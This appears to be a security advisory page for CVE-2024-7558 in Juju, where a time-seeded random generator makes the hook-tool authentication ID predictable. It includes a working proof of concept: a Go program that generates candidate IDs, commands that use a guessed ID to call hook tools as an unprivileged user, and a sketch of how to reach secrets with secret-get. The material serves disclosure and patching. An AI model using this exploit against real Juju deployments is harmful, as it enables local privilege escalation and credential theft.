Skip to content

GHSA-mh98-763h-m9v4 CVE-2024-7558 GO-2024-3173

JUJU_CONTEXT_ID is a predictable authentication secret

High Go
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.50%
Chance of exploitation in the next 30 days. Higher than 43.00% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-1391 Use of Weak Credentials
CWE-337 Predictable Seed in Pseudo-Random Number Generator (PRNG)
CWE-340 Generation of Predictable Numbers or Identifiers
Fix
0.0.0-20240826044107-ecd7e2d0e986
Upgrade github.com/juju/juju to this version or later

Description

JUJU_CONTEXT_ID is the authentication measure on the unit hook tool abstract domain socket. It looks like JUJU_CONTEXT_ID=appname/0-update-status-6073989428498739633.

This value looks fairly unpredictable, but due to the random source used, it is highly predictable.

JUJU_CONTEXT_ID has the following components:

  • the application name
  • the unit number
  • the hook being currently run
  • a uint63 decimal number

On a system the application name and unit number can be deduced by reading the structure of the filesystem. The current hook being run is not easily deduce-able, but is a limited set of possible values, so one could try them all. Finally the random number, this is generated from a non cryptographically secure random source. Specifically the random number generator built into the go standard library, using the current unix time in seconds (at startup) as the seed.

There is no rate limiting on the abstract domain socket, the only limiting factor is time (window of time the hook is run) and memory (how much memory is available to facilitate all the connections).

Impact

On a juju machine (non-kubernetes) or juju charm container (on kubernetes), an unprivileged user in the same network namespace can connect to an abstract domain socket and guess the JUJU_CONTEXT_ID value. This gives the unprivileged user access to the same information and tools as the juju charm. This information could be secrets that give broader access.

Patches

Patch: https://github.com/juju/juju/commit/ecd7e2d0e9867576b9da04871e22232f06fa0cc7 Patched in:

  • 3.5.4
  • 3.4.6
  • 3.3.7
  • 3.1.10
  • 2.9.51

Workarounds

No workaround. Upgrade will be required.

References

https://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L152 https://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L164

PoC

With a contrived example, a charm that sleeps indefinitely on its first hook, install. This charm is called sleepy.

.
|-- hooks
|   `-- install
#!/bin/sh
sleep 10000
|-- manifest.yaml
bases:
  - name: ubuntu
    channel: 22.04/stable
    architectures:
      - amd64
|-- metadata.yaml
name: sleepy
summary: a sleepy charm
description: a sleepy charm that sleeps on install
`-- revision
1

With sleepy deployed into a model, we have a unit with the name sleepy/0 and an tag of unit-sleepy-0.

With access to the log file we can very quickly get the start time of the unit:

ubuntu@juju-5e40c0-0:~$ cat /var/log/juju/unit-sleepy-0.log | grep 'unit "sleepy/0" started'
2024-08-06 05:10:07 INFO juju.worker.uniter uniter.go:363 unit "sleepy/0" started

If we don't have access to the log, we could get pretty close by trying every second between when log file was created and now:

nobody@juju-5e40c0-0:/var/log/juju$ cat unit-sleepy-0.log
cat: unit-sleepy-0.log: Permission denied
nobody@juju-5e40c0-0:/var/log/juju$ stat unit-sleepy-0.log
  File: unit-sleepy-0.log
  Size: 1403      	Blocks: 8          IO Block: 4096   regular file
Device: 10302h/66306d	Inode: 25967076    Links: 1
Access: (0640/-rw-r-----)  Uid: (  104/  syslog)   Gid: (    4/     adm)
Access: 2024-08-06 05:10:48.686975042 +0000
Modify: 2024-08-06 05:10:07.159133215 +0000
Change: 2024-08-06 05:10:07.159133215 +0000
 Birth: 2024-08-06 05:10:06.965129276 +0000

We can then pass that into this program:

package main

import (
	"flag"
	"fmt"
	"math/rand"
	"time"
)

func main() {
	var unitName string
	var unitStartLogTime string
	var currentHook string
	flag.StringVar(&unitName, "u", "sleepy/0", "")
	flag.StringVar(&unitStartLogTime, "t", "2024-08-06 05:10:07", "time when the last 'INFO juju.worker.uniter uniter.go:363 unit %q started' log was written to /var/log/juju/unit-name-0.log")
	flag.StringVar(&currentHook, "h", "install", "the current hook that is running right now")
	flag.Parse()

	t, err := time.Parse("2006-01-02 15:04:05", unitStartLogTime)
	if err != nil {
		panic(err)
	}

	sources := []rand.Source{
		rand.NewSource(t.Unix()),
		rand.NewSource(t.Unix() - 1),
		rand.NewSource(t.Unix() - 2),
	}

	for i := 0; i < 10; i++ {
		for _, source := range sources {
			fmt.Printf("%s-%s-%d\n", unitName, currentHook, source.Int63())
		}
	}
}

This program will give us a list of JUJU_CONTEXT_IDs to try. We just need to try each one. In this case it was the first one, because we had enough information.

$ go run . -u sleepy/0 -t "2024-08-06 05:10:07" -h install
sleepy/0-install-7349430268617352851
sleepy/0-install-2171542415131519293
sleepy/0-install-6564961386023494624
sleepy/0-install-59904244413115609
sleepy/0-install-6073989428498739633
sleepy/0-install-2504995199508561544
sleepy/0-install-1526670560532335303
sleepy/0-install-2568216045630615950
sleepy/0-install-8047402353801897930

Unfortunately, this worked too well.

nobody@juju-5e40c0-0:/var/log/juju$ JUJU_AGENT_SOCKET_NETWORK=unix JUJU_AGENT_SOCKET_ADDRESS=@/var/lib/juju/agents/unit-sleepy-0/agent.socket JUJU_CONTEXT_ID=sleepy/0-install-7349430268617352851 /var/lib/juju/tools/unit-sleepy-0/is-leader
True

With a more sophisticated attack, this could discover all the units on the machine, using the update-status hook, try a few thousand attempts per second to guess the start time and the current offset in the random source, then using secret-get hook tool, get some sort of secret, such as credentials to a system.

Affected versions

Go

PackageVulnerableFixed in
github.com/juju/juju
< 0.0.0-20240826044107-ecd7e2d0e986
0.0.0-20240826044107-ecd7e2d0e986

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/juju/juju Go → 0.0.0-20240826044107-ecd7e2d0e986

go
go get github.com/juju/juju@v0.0.0-20240826044107-ecd7e2d0e986 && go mod tidy

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:H/SA:H

Attack vector
Local
Attack complexity
Low
Attack requirements
None
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
Low
Integrity (vulnerable system)
None
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
High
Availability (subsequent systems)
High

CVSS 3.1 8.7

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
High
Availability
High

Weakness

CWE-1391: Use of Weak Credentials

The product uses weak credentials (such as a default key or hard-coded password) that can be calculated, derived, reused, or guessed by an attacker.

How to prevent it
  • Architecture and Design, Operation: When the user changes or sets a password, check the password against a database of already compromised or breached passwords. These passwords are likely to be used in password guessing attacks.

CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG)

A Pseudo-Random Number Generator (PRNG) is initialized from a predictable seed, such as the process ID or system time.

How to prevent it
  • Use non-predictable inputs for seed generation.
  • Architecture and Design, Requirements: Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems, or use the more recent FIPS 140-3 [REF-1192] if possible.
  • Implementation: Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.

CWE-340: Generation of Predictable Numbers or Identifiers

The product uses a scheme that generates numbers or identifiers that are more predictable than required.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-7m55-2hr4-pw78
Juju: In-Memory Token Store for Discharge Tokens Lacks Concurrency Safety and Persistence
Medium Also affects github.com/juju/juju
GHSA-w5fq-8965-c969
Juju: CloudSpec method leaking cloud credentials
Medium Also affects github.com/juju/juju
GHSA-245v-p8fj-vwm2
Juju has a resource poisoning vulnerability
Medium Also affects github.com/juju/juju
GHSA-j6f6-jp3p-53mw
Juju: Read All Controller Logs From Compromised Workload
Medium Also affects github.com/juju/juju
GHSA-gvrj-cjch-728p
Juju has Improper TLS Client/Server authentication and certificate verification on Database Cluster
Critical Also affects github.com/juju/juju
GHSA-5cj2-rqqf-hx9p
Juju affected by Confused Deputy IDOR attack via Predictable user specified ID in Juju Secrets
Medium Also affects github.com/juju/juju
GHSA-439w-v2p7-pggc
Juju has unauthorized access to out-of-scope Kubernetes secrets
High Also affects github.com/juju/juju
GHSA-89x7-5m5m-mcmm
Juju has unauthorized update of out-of-scope Vault secrets
Medium Also affects github.com/juju/juju
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor